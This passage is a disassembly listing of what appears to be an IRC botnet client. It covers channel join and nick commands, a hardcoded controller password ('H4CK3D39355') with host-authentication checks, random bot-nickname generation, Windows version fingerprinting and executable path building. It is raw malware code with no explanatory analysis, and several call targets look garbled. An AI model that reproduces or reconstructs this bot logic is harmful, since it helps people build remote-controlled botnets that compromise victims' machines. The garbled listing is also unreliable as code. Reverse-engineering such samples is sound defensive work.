mov [ebp+var_400], eax
push [ebp+arg_0]
lea eax, [ebp+var_504]
push eax
call sub_417770
push [ebp+esi+var_84]
call sub_4174D0
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_404], eax
lea eax, [ebp+var_484]
push 80h
push eax
mov [ebp+var_50C], esi
call sub_4172D0
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_3F0], eax
push [ebp+var_404]
lea eax, [ebp+var_504]
mov [ebp+var_3F4], edi
push eax
push [ebp+var_400]
push esi
call sub_40267D
pop ecx
push eax
lea eax, [ebp+var_2E4]
push offset unk_439AA0
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push 18h
push eax
call sub_408E53
add esp, 24h
mov [ebp+var_3FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_50C]
push ebx
push eax
push offset loc_40EBC3
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_3FC]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_407D7B
loc_407D65: ; CODE XREF: sub_403038+4D41j
cmp [ebp+var_3EC], ebx
jnz loc_407EE8
push 32h
nop
call near ptr 2690599h
jmp short loc_407D65
; ---------------------------------------------------------------------------
loc_407D7B: ; CODE XREF: sub_403038+4D2Bj
nop
call near ptr 26908EFh
push eax
push offset unk_439ADC
jmp loc_407ED9
; ---------------------------------------------------------------------------
loc_407D8C: ; CODE XREF: sub_403038+1B33j
; sub_403038+1B48j
mov eax, [ebp+esi+var_8C]
mov edi, 0FFh
push edi
mov [ebp+arg_10], eax
push eax
lea eax, [ebp+var_770]
push eax
call sub_417770
push edi
lea eax, [ebp+var_670]
push [ebp+arg_0]
push eax
call sub_417770
mov eax, [ebp+esi+var_84]
add esp, 18h
cmp eax, ebx
mov [ebp+var_56C], ebx
jz short loc_407DDC
push eax
call sub_4174D0
pop ecx
mov [ebp+var_568], eax
jmp short loc_407DE2
; ---------------------------------------------------------------------------
loc_407DDC: ; CODE XREF: sub_403038+4D93j
mov [ebp+var_568], ebx
loc_407DE2: ; CODE XREF: sub_403038+4DA2j
mov eax, [ebp+esi+var_80]
cmp eax, ebx
jz short loc_407DFE
push 10h
push ebx
push eax
call sub_4181B0
add esp, 0Ch
mov [ebp+var_560], eax
jmp short loc_407E04
; ---------------------------------------------------------------------------
loc_407DFE: ; CODE XREF: sub_403038+4DB0j
mov [ebp+var_560], ebx
loc_407E04: ; CODE XREF: sub_403038+4DC4j
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407E1B
push esi
call sub_4174D0
pop ecx
mov [ebp+var_564], eax
jmp short loc_407E21
; ---------------------------------------------------------------------------
loc_407E1B: ; CODE XREF: sub_403038+4DD2j
mov [ebp+var_564], ebx
loc_407E21: ; CODE XREF: sub_403038+4DE1j
movzx eax, [ebp+var_997]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_55C], eax
lea eax, [ebp+var_7F0]
mov [ebp+var_7F4], esi
push eax
call sub_417770
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov [ebp+var_558], eax
push [ebp+arg_10]
lea eax, [ebp+var_2E4]
mov [ebp+var_554], edi
push offset unk_439A24
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_2E4]
push 1Dh
push eax
call sub_408E53
add esp, 28h
mov [ebp+var_570], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F4]
push ebx
push eax
push offset loc_41105D
push ebx
push ebx
call near ptr 26A08FFh
nop
mov ecx, [ebp+var_570]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_407ECD
loc_407EBB: ; CODE XREF: sub_403038+4E93j
cmp [ebp+var_550], ebx
jnz short loc_407EE8
push 32h
call near ptr 2690599h
nop
jmp short loc_407EBB
; ---------------------------------------------------------------------------
loc_407ECD: ; CODE XREF: sub_403038+4E81j
call near ptr 26908EFh
nop
push eax
push offset unk_439A50
loc_407ED9: ; CODE XREF: sub_403038+3739j
; sub_403038+3871j ...
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
add esp, 0Ch
loc_407EE8: ; CODE XREF: sub_403038+371Dj
; sub_403038+3855j ...
cmp [ebp+var_8], ebx
jnz loc_40514A
push ebx
lea eax, [ebp+var_2E4]
push edi
push eax
push [ebp+var_88]
push esi
jmp loc_405142
; ---------------------------------------------------------------------------
loc_407F06: ; CODE XREF: sub_403038+1B09j
; sub_403038+1B1Ej
push 44h
lea eax, [ebp+var_328]
pop edi
push edi
push ebx
push eax
call sub_417070
push 1
mov [ebp+var_328], edi
pop edi
mov word ptr [ebp+var_2F8], bx
push [ebp+esi+var_8C]
mov [ebp+var_2FC], edi
call sub_4174D0
add esp, 10h
cmp eax, edi
jnz short loc_407F49
mov word ptr [ebp+var_2F8], 5
loc_407F49: ; CODE XREF: sub_403038+4F06j
cmp [ebp+var_C], ebx
jz loc_404E0F
push [ebp+arg_0]
push [ebp+var_C]
call sub_417B50
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_404E0F
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+var_328]
push eax
push ebx
push ebx
push 28h
push edi
push ebx
push ebx
push esi
push ebx
call near ptr 267039Fh
nop
test eax, eax
jnz short loc_407F94
push offset unk_4399D4
jmp loc_405AEA
; ---------------------------------------------------------------------------
loc_407F94: ; CODE XREF: sub_403038+4F50j
push esi
push offset dword_4399F8
jmp loc_404E00
; ---------------------------------------------------------------------------
loc_407F9F: ; CODE XREF: sub_403038+1ADFj
; sub_403038+1AF4j
push [ebp+arg_0]
push offset aMqbol ; "mqbol"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_408117
lea eax, [ebp+var_4E8]
push eax
push 104h
nop
call near ptr 26D0000h
mov edi, [ebp+esi+var_8C]
push 0FFh
lea eax, [ebp+var_770]
push edi
push eax
call sub_417770
lea eax, [ebp+var_E4]
push eax
call sub_408832
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_670]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_4171D0
mov eax, [ebp+esi+var_84]
add esp, 20h
cmp eax, ebx
mov [ebp+var_56C], 1
mov [ebp+var_568], ebx
jz short loc_408038
push 10h
push ebx
push eax
call sub_4181B0
add esp, 0Ch
mov [ebp+var_560], eax
jmp short loc_40803E
; ---------------------------------------------------------------------------
loc_408038: ; CODE XREF: sub_403038+4FEAj
mov [ebp+var_560], ebx
loc_40803E: ; CODE XREF: sub_403038+4FFEj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_408055
push esi
call sub_4174D0
pop ecx
mov [ebp+var_564], eax
jmp short loc_40805B
; ---------------------------------------------------------------------------
loc_408055: ; CODE XREF: sub_403038+500Cj
mov [ebp+var_564], ebx
loc_40805B: ; CODE XREF: sub_403038+501Bj
movzx eax, [ebp+var_997]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_55C], eax
lea eax, [ebp+var_7F0]
mov [ebp+var_7F4], esi
push eax
call sub_417770
mov eax, [ebp+var_4]
push edi
mov [ebp+var_554], eax
mov eax, [ebp+var_8]
mov [ebp+var_558], eax
lea eax, [ebp+var_2E4]
push offset dword_439918
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_2E4]
push 1Eh
push eax
call sub_408E53
add esp, 24h
mov [ebp+var_570], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F4]
push ebx
push eax
push offset loc_41105D
push ebx
push ebx
nop
call near ptr 26A08FFh
mov ecx, [ebp+var_570]
imul ecx, 234h
cmp eax, ebx
mov dword_446224[ecx], eax
jz short loc_408106
loc_4080F0: ; CODE XREF: sub_403038+50CCj
cmp [ebp+var_550], ebx
jnz loc_404E0F
push 32h
nop
call near ptr 2690599h
jmp short loc_4080F0
; ---------------------------------------------------------------------------
loc_408106: ; CODE XREF: sub_403038+50B6j
nop
call near ptr 26908EFh
push eax
push offset dword_439944
jmp loc_404E00
; ---------------------------------------------------------------------------
loc_408117: ; CODE XREF: sub_403038+4F78j
push offset dword_439980
jmp loc_405AEA
; ---------------------------------------------------------------------------
loc_408121: ; CODE XREF: sub_403038+1AB5j
; sub_403038+1ACAj
push [ebp+arg_0]
lea eax, [ebp+var_2E4]
push offset aPartS_0 ; "PART %s"
push eax
call sub_4171D0
mov esi, [ebp+esi+var_8C]
push esi
call sub_4174D0
add esp, 10h
test eax, eax
jle loc_40858F
push esi
call sub_4174D0
cmp eax, 400h
pop ecx
jge loc_40858F
lea eax, [ebp+var_2E4]
push eax
push offset aS_14 ; "%s\r\n"
loc_40816B: ; CODE XREF: sub_403038+2EE0j
; sub_403038+51A4j
push esi
call sub_4174D0
imul eax, 234h
pop ecx
push dword_44621C[eax]
call sub_4013FF
loc_408183: ; CODE XREF: sub_403038+3F21j
; sub_403038+3F37j ...
add esp, 0Ch
jmp loc_40858F
; ---------------------------------------------------------------------------
loc_40818B: ; CODE XREF: sub_403038+1A8Bj
; sub_403038+1AA0j
push [ebp+esi+var_84]
lea eax, [ebp+var_2E4]
push [ebp+arg_0]
push offset aJoinSS_2 ; "JOIN %s %s"
push eax
call sub_4171D0
mov esi, [ebp+esi+var_8C]
push esi
call sub_4174D0
add esp, 14h
test eax, eax
jle loc_40858F
push esi
call sub_4174D0
cmp eax, 400h
pop ecx
jge loc_40858F
lea eax, [ebp+var_2E4]
push eax
push offset aS_15 ; "%s\r\n"
jmp short loc_40816B
; ---------------------------------------------------------------------------
loc_4081DE: ; CODE XREF: sub_403038+1A61j
; sub_403038+1A76j
push [ebp+arg_0]
lea eax, [ebp+var_2E4]
push offset aNickS_1 ; "NICK %s"
push eax
call sub_4171D0
mov esi, [ebp+esi+var_8C]
push esi
call sub_4174D0
add esp, 10h
test eax, eax
jle loc_40858F
push esi
call sub_4174D0
cmp eax, 400h
pop ecx
jge loc_40858F
lea eax, [ebp+var_2E4]
push eax
push offset aS_16 ; "%s\r\n"
push esi
call sub_4174D0
imul eax, 234h
pop ecx
push dword_44621C[eax]
call sub_4013FF
push [ebp+arg_0]
push esi
push offset dword_43989C
loc_408249: ; CODE XREF: sub_403038+2C13j
; sub_403038+30DFj ...
call sub_4105CB
loc_40824E: ; CODE XREF: sub_403038+3BF3j
add esp, 18h
jmp loc_40858F
; ---------------------------------------------------------------------------
loc_408256: ; CODE XREF: sub_403038+1A37j
; sub_403038+1A4Cj
cmp [ebp+var_C], ebx
jz loc_40858F
push [ebp+arg_0]
push [ebp+var_C]
call sub_417B50
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz short loc_408287
push edi
lea eax, [ebp+var_2E4]
push offset aModeS ; "MODE %s"
push eax
call sub_4171D0
add esp, 0Ch
loc_408287: ; CODE XREF: sub_403038+5238j
mov esi, [ebp+esi+var_8C]
push esi
call sub_4174D0
test eax, eax
pop ecx
jle loc_40858F
push esi
call sub_4174D0
cmp eax, 400h
pop ecx
jge loc_40858F
lea eax, [ebp+var_2E4]
push eax
push offset aS_17 ; "%s\r\n"
push esi
call sub_4174D0
imul eax, 234h
pop ecx
push dword_44621C[eax]
call sub_4013FF
push edi
push esi
push offset dword_439864
jmp loc_408249
; ---------------------------------------------------------------------------
loc_4082DF: ; CODE XREF: sub_403038+1A0Dj
; sub_403038+1A22j
cmp [ebp+var_C], ebx
jz loc_40858F
push [ebp+arg_0]
push [ebp+var_C]
call sub_417B50
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_40858F
mov esi, [ebp+esi+var_8C]
push esi
call sub_4174D0
test eax, eax
pop ecx
jle loc_40858F
push esi
call sub_4174D0
cmp eax, 400h
pop ecx
jge loc_40858F
push edi
push offset aS_18 ; "%s\r\n"
push esi
call sub_4174D0
imul eax, 234h
pop ecx
push dword_44621C[eax]
call sub_4013FF
push edi
push esi
push offset dword_43982C
jmp loc_408249
; ---------------------------------------------------------------------------
loc_408351: ; CODE XREF: sub_403038+19E3j
; sub_403038+19F8j
cmp [ebp+var_C], ebx
jz loc_40858F
push [ebp+esi+var_8C]
push [ebp+var_C]
call sub_417B50
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40858F
push esi
push offset aModeS_0 ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_4013FF
push esi
push offset unk_4397FC
loc_408389: ; CODE XREF: sub_403038+3098j
; sub_403038+30B8j ...
call sub_4105CB
loc_40838E: ; CODE XREF: sub_403038+53C5j
add esp, 14h
jmp loc_40858F
; ---------------------------------------------------------------------------
loc_408396: ; CODE XREF: sub_403038+19B9j
; sub_403038+19CEj
push [ebp+var_8C]
push offset a332_0 ; "332"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_4034D4
push [ebp+arg_0]
push offset aPartS_1 ; "PART %s\r\n"
push [ebp+arg_4]
call sub_4013FF
push [ebp+esi+var_8C]
call sub_4174D0
imul eax, 3E8h
add esp, 10h
push eax
nop
call near ptr 2690599h
push [ebp+esi+var_84]
push [ebp+arg_0]
push offset aJoinSS_3 ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_4013FF
push offset dword_4397D0
call sub_410557
jmp short loc_40838E
; ---------------------------------------------------------------------------
loc_4083FF: ; CODE XREF: sub_403038+198Fj
; sub_403038+19A4j
cmp [ebp+var_C], ebx
jz loc_40858F
mov esi, [ebp+esi+var_8C]
push esi
call sub_414BE0
mov edx, eax
push edi
mov [ebp+arg_18], edx
call sub_414BE0
add eax, [ebp+var_C]
mov ecx, [ebp+arg_18]
push [ebp+arg_0]
lea eax, [eax+ecx+2]
push eax
call sub_417B50
mov edi, eax
add esp, 10h
cmp edi, ebx
jz loc_40858F
push edi
lea eax, [ebp+var_2E4]
push offset dword_43977C
push eax
call sub_4171D0
push ebx
lea eax, [ebp+var_2E4]
push ebx
push eax
push esi
push [ebp+arg_4]
call sub_401445
push edi
push esi
push offset unk_439788
call sub_4105CB
add esp, 2Ch
jmp loc_40858F
; ---------------------------------------------------------------------------
loc_408478: ; CODE XREF: sub_403038+1965j
; sub_403038+197Aj
cmp [ebp+var_C], ebx
jz loc_40858F
mov esi, [ebp+esi+var_8C]
push esi
call sub_414BE0
mov edx, eax
push edi
mov [ebp+arg_18], edx
call sub_414BE0
add eax, [ebp+var_C]
mov ecx, [ebp+arg_18]
push [ebp+arg_0]
lea eax, [eax+ecx+2]
push eax
call sub_417B50
mov edi, eax
add esp, 10h
cmp edi, ebx
jz loc_40858F
push ebx
push ebx
push edi
push esi
push [ebp+arg_4]
call sub_401445
push edi
push esi
push offset unk_439750
call sub_4105CB
add esp, 20h
jmp loc_40858F
; ---------------------------------------------------------------------------
loc_4084D9: ; CODE XREF: sub_403038+193Bj
; sub_403038+1950j
cmp [ebp+var_C], ebx
jz loc_4034D4
push [ebp+arg_0]
push [ebp+var_C]
call sub_417B50
pop ecx
cmp eax, ebx
pop ecx
jz loc_4034D4
mov esi, [ebp+esi+var_8C]
push eax
push esi
call sub_41045F
push esi
lea eax, [ebp+var_2E4]
push offset unk_439724
push eax
call sub_4171D0
add esp, 14h
jmp loc_405129
; ---------------------------------------------------------------------------
loc_40851F: ; CODE XREF: sub_403038+1911j
; sub_403038+1926j
push [ebp+arg_0]
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41212B
loc_40853A: ; CODE XREF: sub_403038+3A68j
add esp, 14h
jmp loc_4034D4
; ---------------------------------------------------------------------------
loc_408542: ; CODE XREF: sub_403038+E9Cj
; sub_403038+EB1j
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_98C], bl
setnz al
push eax
lea eax, [ebp+var_54C]
push dword_436C30
push eax
call sub_408B4C
lea eax, [ebp+var_54C]
push eax
push offset aNickS_2 ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_4013FF
lea eax, [ebp+var_54C]
push eax
push offset unk_437C40
call sub_4105CB
loc_40858C: ; CODE XREF: sub_403038+4345j
add esp, 24h
loc_40858F: ; CODE XREF: sub_403038+621j
; sub_403038+62Dj ...
mov eax, [ebp+arg_24]
jmp loc_4034D7
; ---------------------------------------------------------------------------
loc_408597: ; CODE XREF: sub_403038+A83j
; sub_403038+A98j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_10], esi
jz loc_4034D4
cmp [ebp+var_A4], ebx
jnz loc_4034D4
push offset asc_437A84 ; "!"
push [ebp+var_90]
call sub_417620
mov esi, eax
push offset dword_4D3194
push ebx
inc esi
call sub_417620
push offset asc_437A88 ; "~"
push eax
call sub_417620
push [ebp+arg_10]
mov edi, eax
push offset aH4ck3d39355 ; "H4CK3D39355"
call sub_417870
add esp, 20h
test eax, eax
jz short loc_40862D
lea eax, [ebp+var_C0]
push edi
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_4013FF
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_4013FF
push edi
push esi
push offset unk_437AE0
jmp short loc_408689
; ---------------------------------------------------------------------------
loc_40862D: ; CODE XREF: sub_403038+55BAj
mov [ebp+arg_24], offset off_436CEC
loc_408634: ; CODE XREF: sub_403038+5618j
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_4091AC
pop ecx
test eax, eax
pop ecx
jnz short loc_40869D
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_436CF0
jl short loc_408634
lea eax, [ebp+var_C0]
push edi
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_4013FF
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_4013FF
push edi
push esi
push offset unk_437B60
loc_408689: ; CODE XREF: sub_403038+55F3j
lea eax, [ebp+var_2E4]
push eax
call sub_4171D0
add esp, 30h
jmp loc_403953
; ---------------------------------------------------------------------------
loc_40869D: ; CODE XREF: sub_403038+560Bj
mov edi, [ebp+arg_18]
xor esi, esi
loc_4086A2: ; CODE XREF: sub_403038+5694j
cmp [ebp+arg_10], ebx
jz loc_4034D4
cmp [edi], bl
jnz short loc_4086C2
push [ebp+arg_10]
push offset aH4ck3d39355 ; "H4CK3D39355"
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_4086D3
loc_4086C2: ; CODE XREF: sub_403038+5675j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_4086A2
jmp loc_4034D4
; ---------------------------------------------------------------------------
loc_4086D3: ; CODE XREF: sub_403038+5688j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_A7C]
push 7Fh
push eax
push esi
call sub_417770
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40870A
push ebx
push [ebp+var_4]
push offset unk_437B8C
push [ebp+var_88]
push [ebp+arg_4]
call sub_401445
add esp, 14h
loc_40870A: ; CODE XREF: sub_403038+56B6j
lea eax, [ebp+var_C0]
push eax
push offset unk_437BAC
loc_408716: ; CODE XREF: sub_403038+58Aj
; sub_403038+3CFFj ...
call sub_4105CB
loc_40871B: ; CODE XREF: sub_403038+1F91j
pop ecx
loc_40871C: ; CODE XREF: sub_403038+211Ej
pop ecx
jmp loc_4034D4
; ---------------------------------------------------------------------------
loc_408722: ; CODE XREF: sub_403038+205j
; sub_403038+21Aj
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_4013FF
push offset aXRi ; "-x+Ri"
push [ebp+arg_10]
push offset aModeSS ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_4013FF
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS_4 ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_4013FF
add esp, 2Ch
mov dword_4D3184, edi
jmp loc_4032CC
sub_403038 endp
; =============== S U B R O U T I N E =======================================
sub_408768 proc near ; CODE XREF: sub_408B4C+49p
; DATA XREF: ___:off_439F68o
arg_0 = dword ptr 4
push esi
push edi
call near ptr 26C05FFh
nop
push eax
call sub_417B00
call sub_417B10
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+0Ch+arg_0]
push off_439FD0[edx*4]
push offset aS_29 ; "%s"
push 1Ch
push edi
call sub_4172D0
xor esi, esi
add esp, 14h
cmp dword_436C2C, esi
jle short loc_4087CF
loc_4087A9: ; CODE XREF: sub_408768+65j
call sub_417B10
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call sub_4172D0
add esp, 14h
inc esi
cmp esi, dword_436C2C
jl short loc_4087A9
loc_4087CF: ; CODE XREF: sub_408768+3Fj
mov eax, edi
pop edi
pop esi
retn
sub_408768 endp
; ---------------------------------------------------------------------------
dd 0E8905756h, 22B7E23h, 0F31EE850h, 7C8B0000h, 4C71024h
dd 436CC824h, 0DC446800h, 1C6A0043h, 0EAD6E857h, 0F6330000h
dd 3910C483h, 436C2C35h, 0E8267E00h, 0F304h, 59990A6Ah
dd 5752F9F7h, 43DC4868h, 571C6A00h, 0EAAFE8h, 14C48300h
dd 2C353B46h, 7C00436Ch, 5FC78BDAh
; ---------------------------------------------------------------------------
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_408832 proc near ; CODE XREF: sub_403038+4FB0p
arg_0 = dword ptr 4
push ebx
push esi
push edi
nop
call near ptr 26C05FFh
push eax
call sub_417B00
pop ecx
call sub_417B10
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_436C2C
test esi, esi
jle short loc_408875
loc_40885F: ; CODE XREF: sub_408832+41j
call sub_417B10
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40885F
loc_408875: ; CODE XREF: sub_408832+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_408832 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, offset aPc ; "PC"
mov dword ptr [ebp-4], 100h
xor edi, edi
nop
call near ptr 26C05FFh
push eax
call sub_417B00
pop ecx
lea eax, [ebp-4]
push eax
push esi
nop
call near ptr 26E0000h
test eax, eax
jnz short loc_4088B4
mov esi, offset aPc_0 ; "PC"
loc_4088B4: ; CODE XREF: ___:004088ADj
movsx eax, byte ptr [esi]
push 41h
pop ecx
loc_4088BA: ; CODE XREF: ___:004088C5j
cmp eax, ecx
jnz short loc_4088C1
push 1
pop edi
loc_4088C1: ; CODE XREF: ___:004088BCj
inc ecx
cmp ecx, 5Bh
jl short loc_4088BA
push 61h
pop ecx
loc_4088CA: ; CODE XREF: ___:004088D5j
cmp eax, ecx
jnz short loc_4088D1
push 1
pop edi
loc_4088D1: ; CODE XREF: ___:004088CCj
inc ecx
cmp ecx, 7Bh
jl short loc_4088CA
test edi, edi
jnz short loc_4088E0
mov esi, offset aPc_1 ; "PC"
loc_4088E0: ; CODE XREF: ___:004088D9j
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_4172D0
xor esi, esi
add esp, 0Ch
cmp dword_436C2C, esi
jle short loc_40891F
loc_4088F9: ; CODE XREF: ___:0040891Dj
call sub_417B10
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_1 ; "%s%i"
push 1Ch
push edi
call sub_4172D0
add esp, 14h
inc esi
cmp esi, dword_436C2C
jl short loc_4088F9
loc_40891F: ; CODE XREF: ___:004088F7j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call near ptr 26C05FFh
nop
push eax
call sub_417B00
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
nop
call near ptr 26F0000h
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset aS_31 ; "%s|"
push 1Ch
push edi
call sub_4172D0
xor esi, esi
add esp, 10h
cmp dword_436C2C, esi
jle short loc_408994
loc_40896E: ; CODE XREF: ___:00408992j
call sub_417B10
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_2 ; "%s%i"
push 1Ch
push edi
call sub_4172D0
add esp, 14h
inc esi
cmp esi, dword_436C2C
jl short loc_40896E
loc_408994: ; CODE XREF: ___:0040896Cj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset dword_4D31A8
mov dword ptr [ebp-94h], 94h
nop
call near ptr 26F053Fh
nop
call near ptr 26C05FFh
push eax
call sub_417B00
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_408A1E
cmp dword ptr [ebp-8Ch], 0
jnz short loc_4089FE
cmp dword ptr [ebp-84h], 1
jnz short loc_4089EE
mov esi, offset a95 ; "95"
loc_4089EE: ; CODE XREF: ___:004089E7j
cmp dword ptr [ebp-84h], 2
jnz short loc_408A5A
mov esi, offset aNt ; "NT"
jmp short loc_408A5A
; ---------------------------------------------------------------------------
loc_4089FE: ; CODE XREF: ___:004089DEj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_408A0E
mov esi, offset a98 ; "98"
jmp short loc_408A5A
; ---------------------------------------------------------------------------
loc_408A0E: ; CODE XREF: ___:00408A05j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_408A55
mov esi, offset aMe_0 ; "ME"
jmp short loc_408A5A
; ---------------------------------------------------------------------------
loc_408A1E: ; CODE XREF: ___:004089D5j
cmp dword ptr [ebp-90h], 5
jnz short loc_408A55
cmp dword ptr [ebp-8Ch], 0
jnz short loc_408A37
mov esi, offset a2k ; "2K"
jmp short loc_408A5A
; ---------------------------------------------------------------------------
loc_408A37: ; CODE XREF: ___:00408A2Ej
cmp dword ptr [ebp-8Ch], 1
jnz short loc_408A47
mov esi, offset aXp_0 ; "XP"
jmp short loc_408A5A
; ---------------------------------------------------------------------------
loc_408A47: ; CODE XREF: ___:00408A3Ej
cmp dword ptr [ebp-8Ch], 2
mov esi, offset a2k3 ; "2K3"
jz short loc_408A5A
loc_408A55: ; CODE XREF: ___:00408A15j
; ___:00408A25j
mov esi, offset a???_0 ; "???"
loc_408A5A: ; CODE XREF: ___:004089F5j
; ___:004089FCj ...
mov edi, [ebp+8]
push esi
push offset aS_32 ; "[%s]|"
push 1Ch
push edi
call sub_4172D0
xor esi, esi
add esp, 10h
cmp dword_436C2C, esi
jle short loc_408A9E
loc_408A78: ; CODE XREF: ___:00408A9Cj
call sub_417B10
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_3 ; "%s%i"
push 1Ch
push edi
call sub_4172D0
add esp, 14h
inc esi
cmp esi, dword_436C2C
jl short loc_408A78
loc_408A9E: ; CODE XREF: ___:00408A76j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408AA4 proc near ; CODE XREF: sub_408B4C+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call near ptr 26C05FFh
nop
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
mov esi, eax
cmp esi, 64h
jbe short loc_408AF3
push offset aMirc_0 ; "mIRC"
call dword_445354
test eax, eax
mov eax, offset off_43DCA8
jnz short loc_408ADC
mov eax, offset dword_4D31AC
loc_408ADC: ; CODE XREF: sub_408AA4+31j
push eax
push esi
push offset dword_43DCAC
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_4172D0
add esp, 14h
jmp short loc_408B18
; ---------------------------------------------------------------------------
loc_408AF3: ; CODE XREF: sub_408AA4+1Dj
push offset aMirc_1 ; "mIRC"
call dword_445354
test eax, eax
mov eax, offset off_43DCBC
jnz short loc_408B0C
mov eax, offset dword_4D31B0
loc_408B0C: ; CODE XREF: sub_408AA4+61j
push eax
lea eax, [ebp+var_1C]
push eax
call sub_4171D0
pop ecx
pop ecx
loc_408B18: ; CODE XREF: sub_408AA4+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_414BE0
pop ecx
cmp eax, 2
pop esi
jbe short loc_408B47
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_418680
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_417770
add esp, 18h
loc_408B47: ; CODE XREF: sub_408AA4+82j
mov eax, [ebp+arg_0]
leave
retn
sub_408AA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408B4C proc near ; CODE XREF: sub_402D58+7Fp
; sub_402EC0+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_439F64
loc_408B58: ; CODE XREF: sub_408B4C+3Fj
cmp [ebp+arg_C], 0
jz short loc_408B73
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_417870
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_408B7D
; ---------------------------------------------------------------------------
loc_408B73: ; CODE XREF: sub_408B4C+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
